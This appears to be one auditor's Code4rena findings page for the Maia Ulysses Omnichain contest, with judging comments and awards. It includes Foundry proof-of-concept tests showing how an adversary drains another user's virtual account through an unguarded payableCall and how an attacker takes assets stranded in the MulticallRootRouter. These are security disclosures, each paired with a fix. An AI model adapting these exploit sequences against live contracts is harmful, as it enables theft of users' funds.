Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 1/175
Findings: 4
Award: $8,485.23
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
Anyone can initiate an arbitrary call through a Virtual Account. All assets in the virtual account can be stolen
Inside VirtualAccount.sol
the call(...)
method implements a modifier that restricts who can call the function, however, the payableCall(...)
lacks such modifier which opens the possibility of malicious arbitrary calls. The following POC shows how a user can steal from another user's virtual account.
ImportHelper.sol
import {VirtualAccount} from "@omni/VirtualAccount.sol"; import {PayableCall} from "@omni/interfaces/IVirtualAccount.sol";
RootTest
contract inside RootTest.t.sol
forge test --match-test testMissingAccessVA -vv
Output - adversary steals the innocent user's global Avax tokens
function testMissingAccessVA() public { testAddLocalTokenArbitrum(); // Some innocent user address user = address(0x7777); // Get some Avax underlying tokens avaxMockAssetToken.mint(user, 100 ether); hevm.deal(user, 1 ether); DepositInput memory depositInput = DepositInput({ hToken: avaxMockAssethToken, token: address(avaxMockAssetToken), amount: 100 ether, deposit: 100 ether }); GasParams memory gasParams = GasParams({ gasLimit: 0.5 ether, remoteBranchExecutionGas: 0.5 ether }); bytes memory packedData = abi.encodePacked(""); // Start prank from innocent user hevm.startPrank(user); // Bridge assets that will be credited to user's Virtual Account avaxMockAssetToken.approve(address(avaxPort), 100 ether); avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 1 ether}( payable(user), packedData, depositInput, gasParams, true ); // Get the innocent user's VA VirtualAccount vcAccount = rootPort.fetchVirtualAccount(user); // Print the user's balance of the Global Token console2.log("Innocent user balance before", ERC20hTokenRoot(newAvaxAssetGlobalAddress).balanceOf(address(address(vcAccount)))); hevm.stopPrank(); // Adversary user address adversary = address(0x1111); // Start Prank from adversary hevm.startPrank(adversary); // Balance of adversary before console2.log("Adversary balance before", ERC20hTokenRoot(newAvaxAssetGlobalAddress).balanceOf(address(address(adversary)))); // Encode a call to ERC20 "transfer" bytes4 selector = bytes4(keccak256(bytes("transfer(address,uint256)"))); bytes memory data = abi.encodeWithSelector(selector,adversary,100 ether); PayableCall[] memory singleCall = new PayableCall[](1); singleCall[0] = PayableCall({ target: newAvaxAssetGlobalAddress, callData: data, value: 0 }); // Execute malicious call from the innocent user VA vcAccount.payableCall(singleCall); console2.log("-----------------"); // Balance of innocent user after console2.log("Innocent user balance after", ERC20hTokenRoot(newAvaxAssetGlobalAddress).balanceOf(address(address(vcAccount)))); // Balance of adversary after console2.log("Adversary balance after",ERC20hTokenRoot(newAvaxAssetGlobalAddress).balanceOf(address(address(adversary)))); }
Manual Inspection Foundry
Add access control to payableCall(...)
Access Control
#0 - c4-pre-sort
2023-10-08T14:05:14Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:37:53Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:29:27Z
alcueca marked the issue as satisfactory
🌟 Selected for report: alexxander
Also found by: 3docSec
8420.8338 USDC - $8,420.83
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L163-L171 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L186-L194 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L311-L315
Funds cannot be redeemed and remain stuck in a settlement
In MulticallRootRouter
execute()
calls _approveAndCallOut(...)
, however, it passes the Output Params recipient also as the refundee. This is dangerous because the recipient Dapp on the BranchChain can have a different address or not exist on the Root Chain and therefore if a settlement fails it won't be able to be redeemed since the settlement owner is set as the refundee. Here is a scenario -
address = 0xbeef
) initiates a CallOut(...) 0x01
with OutputParams (0x01)
for the RootRouter
RootBridgeAgent
executor calls MulticallRootRouter
execute()
which then performs some number of arbitrary calls and gets the OutputParams
assets into the MulticallRootRouter
MulticallRootRouter
attempts to bridge out the assets to the BranchChain and creates a settlement, passing the recipient (address = 0xbeef)
but also sets the refundee as (address = 0xbeef)
.0xbeef
is a known dApp on the Root Chain and the assets won't be able to be redeemed.function execute(bytes calldata encodedData, uint16) external payable override lock requiresExecutor { // Parse funcId bytes1 funcId = encodedData[0]; // code ... /// FUNC ID: 2 (multicallSingleOutput) } else if (funcId == 0x02) { // Decode Params ( IMulticall.Call[] memory callData, OutputParams memory outputParams, uint16 dstChainId, GasParams memory gasParams ) = abi.decode(_decode(encodedData[1:]), (IMulticall.Call[], OutputParams, uint16, GasParams)); // Perform Calls _multicall(callData); // Bridge Out assets _approveAndCallOut( outputParams.recipient, outputParams.recipient, outputParams.outputToken, outputParams.amountOut, outputParams.depositOut, dstChainId, gasParams ); } // code ... }
function _createSettlement( uint32 _settlementNonce, address payable _refundee, address _recipient, uint16 _dstChainId, bytes memory _params, address _globalAddress, uint256 _amount, uint256 _deposit, bool _hasFallbackToggled ) internal returns (bytes memory _payload) { // code ... // Update Setttlement settlement.owner = _refundee; settlement.recipient = _recipient; // code ... }
function redeemSettlement(uint32 _settlementNonce) external override lock { // Get setttlement storage reference Settlement storage settlement = getSettlement[_settlementNonce]; // Get deposit owner. address settlementOwner = settlement.owner; // Check if Settlement is redeemable. if (settlement.status == STATUS_SUCCESS) revert SettlementRedeemUnavailable(); if (settlementOwner == address(0)) revert SettlementRedeemUnavailable(); // Check if Settlement Owner is msg.sender or msg.sender is the virtual account of the settlement owner. if (msg.sender != settlementOwner) { if (msg.sender != address(IPort(localPortAddress).getUserAccount(settlementOwner))) { revert NotSettlementOwner(); } } /// more code ... }
Manual Inspection
Include an argument that enables users to specify the refundee when creating settlements without using a Virtual Account
Context
#0 - c4-pre-sort
2023-10-13T05:42:20Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-10-13T05:42:25Z
0xA5DF marked the issue as primary issue
#2 - c4-sponsor
2023-10-16T17:17:00Z
0xLightt (sponsor) confirmed
#3 - c4-judge
2023-10-26T12:57:00Z
alcueca marked the issue as satisfactory
#4 - c4-judge
2023-10-27T09:16:04Z
alcueca marked issue #351 as primary and marked this issue as a duplicate of 351
#5 - c4-judge
2023-10-27T10:49:53Z
alcueca changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-10-31T14:52:27Z
alcueca marked the issue as not a duplicate
#7 - c4-judge
2023-10-31T14:56:41Z
alcueca marked the issue as primary issue
#8 - c4-judge
2023-10-31T14:58:51Z
alcueca marked the issue as selected for report
#9 - alcueca
2023-10-31T15:00:09Z
In this case, I'm going to mark this report as best despite #351 having a wider scope and a coded PoC, because this issue correctly shows a more serious impact. The sponsor should also look at #679 and remediate its findings.
#10 - c4-judge
2023-10-31T15:49:40Z
alcueca changed the severity to 3 (High Risk)
#11 - stalinMacias
2023-11-01T00:26:26Z
Hello @alcueca
I'd like to bring this to the table. So, this report is about problems with redeeming settlements for unsigned messages. So, first and foremost, for redemption to be possible, a deposit should've been made in the first place, right? No deposit, no redemption. So, following this logic, and based on your comment on issue #685 , if users doing unsigned deposits is judged as qa, shouldn't the same criteria be applied to unsigned redemptions?
#12 - alexxander77
2023-11-01T10:25:46Z
Hello again @stalinMacias, The prerequisite to creating a settlement is a successful deposit (with correct instruction flag). The issue concerns integration with dapps which is the more likely target group and the sponsor recommendation is that they go through the unsigned path. Different to normal users (ie eoa's), smart contracts hold state that constantly changes & the reason a settlement can fail is manifold (not enough liquidity, upgrading, pausing, malformed message, etc...), also keep in mind that cross-chain interactions are not atomic. That's why I believe sponsors have included the redemption mechanism which could brick arbitrary amount of funds because of a dangerous assumption that is done on creation (which the dapp/user doesn't have control over).
#13 - stalinMacias
2023-11-02T01:50:41Z
@alexxander77 I see what you are saying, so, this issue is similar to #877 in the sense that the problem is for contract accounts that interact with the protocol. Here, the problem is for unsigned messages that don't involve the virtual account, but the problem is similar about the owner of the contract account may not own the same address in a different chain
Good catch
#14 - 0xBugsy
2023-11-12T17:45:41Z
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
If an unsigned deposit is bridged without instruction params the assets are bridged to the MulticallRouter and can be stolen by another user.
For the Deposit flags 0x02 & 0x03 corresponding to bridging out assets without a Virtual Account as a receiver, the receiver is the MulticallRouter. The problem is that if a user hasn't specified params for further execution executeWithDeposit
doesn't revert which means the bridged assets remain in the MulticallRootRouter
. At that point an adversary can send a message from a Branch Chain (0x01 flag) & Output params that correspond the to the left assets and steal them.
function executeWithDeposit(address _router, bytes calldata _payload, uint16 _srcChainId) external payable onlyOwner { // Read Deposit Params DepositParams memory dParams = DepositParams({ depositNonce: uint32(bytes4(_payload[PARAMS_START:PARAMS_TKN_START])), hToken: address(uint160(bytes20(_payload[PARAMS_TKN_START:PARAMS_TKN_START_SIGNED]))), token: address(uint160(bytes20(_payload[PARAMS_TKN_START_SIGNED:45]))), amount: uint256(bytes32(_payload[45:77])), deposit: uint256(bytes32(_payload[77:PARAMS_TKN_SET_SIZE])) }); // Bridge In Assets _bridgeIn(_router, dParams, _srcChainId); // Check if there is additional calldata in the payload if (_payload.length > PARAMS_TKN_SET_SIZE) { //Execute remote request IRouter(_router).executeDepositSingle{value: msg.value}( _payload[PARAMS_TKN_SET_SIZE:], dParams, _srcChainId ); } }
RootTest
contract inside RooTest.t.sol
forge test --match-test testEmptyInstructionsGrief -vv
Output - logs that an adversary user stole assets from the MulticallRouter that were there because of missing instructions from an innocent user's Bridge Out.
function testEmptyInstructionsGrief() public { testAddLocalTokenArbitrum(); // Innocent user address user = address(0x7777); // Get some avax underlying assets avaxMockAssetToken.mint(user, 100 ether); hevm.deal(user, 1 ether); DepositInput memory depositInput = DepositInput({ hToken: avaxMockAssethToken, token: address(avaxMockAssetToken), amount: 100 ether, deposit: 100 ether }); GasParams memory gasParams = GasParams({ gasLimit: 0.5 ether, remoteBranchExecutionGas: 0.5 ether }); // empty instructions for the router bytes memory packedData = abi.encodePacked(""); // start prank from innocent user hevm.startPrank(user); // bridge out assets avaxMockAssetToken.approve(address(avaxPort), 100 ether); avaxMulticallBridgeAgent.callOutAndBridge{value: 1 ether}( payable(user), packedData, depositInput, gasParams ); // Inspect the Root router balance console2.log("Root router balance before", ERC20hTokenRoot(newAvaxAssetGlobalAddress).balanceOf(address(rootMulticallRouter))); hevm.stopPrank(); // Adversary user address adversary = address(0x1111); hevm.deal(adversary, 1 ether); Multicall2.Call[] memory calls = new Multicall2.Call[](1); // Mock Omnichain dApp call calls[0] = Multicall2.Call({ target: newArbitrumAssetGlobalAddress, callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 0 ether) }); // Specifies output params that correspond to the left assets in the Root Router OutputParams memory outputParams = OutputParams(adversary, newAvaxAssetGlobalAddress, 100 ether, 100 ether); bytes memory stealData = abi.encode(calls, outputParams, avaxChainId); bytes memory finalizedData = abi.encodePacked(bytes1(0x02), stealData); // Send malicious message hevm.startPrank(adversary); avaxMulticallBridgeAgent.callOut{value: 1 ether}( payable(adversary), finalizedData, gasParams ); // Inspect router & adversary avax balance console2.log("Root router balance after", ERC20hTokenRoot(newAvaxAssetGlobalAddress).balanceOf(address(rootMulticallRouter))); console2.log("Adversary mock avax token balance after", avaxMockAssetToken.balanceOf(adversary)); }
Manual Inspection Foundry
If an unsigned bridge is performed (0x02, 0x03 flags) revert the execution on the RootBridgeAgent
if there are no params instructions for the MulticallRootRouter
Context
#0 - c4-pre-sort
2023-10-13T05:11:48Z
0xA5DF marked the issue as duplicate of #685
#1 - c4-pre-sort
2023-10-13T05:11:53Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-25T13:12:56Z
alcueca changed the severity to QA (Quality Assurance)
#3 - c4-judge
2023-10-25T13:15:07Z
alcueca marked the issue as grade-a
🌟 Selected for report: MrPotatoMagic
Also found by: 0xHelium, 0xSmartContract, 0xbrett8571, 0xsagetony, 33BYTEZZZ, Bauchibred, K42, Littlebeast, LokiThe5th, Oxsadeeq, SAAJ, Sathish9098, ZdravkoHr, albertwh1te, alexxander, catellatech, chaduke, hunter_w3b, ihtishamsudo, invitedtea, jauvany, klau5, kodyvim, lsaudit, pavankv, pfapostol, yongskiws
38.6134 USDC - $38.61
Since this is a second audit round of Ulysses Omnichain System, this report will comment on the newly refactored code.
25 hours
25 hours
#0 - c4-pre-sort
2023-10-15T14:03:46Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-20T12:24:35Z
alcueca marked the issue as grade-b
#2 - alcueca
2023-10-20T12:24:36Z
Lacking depth for an analysis, but the existing content is correct.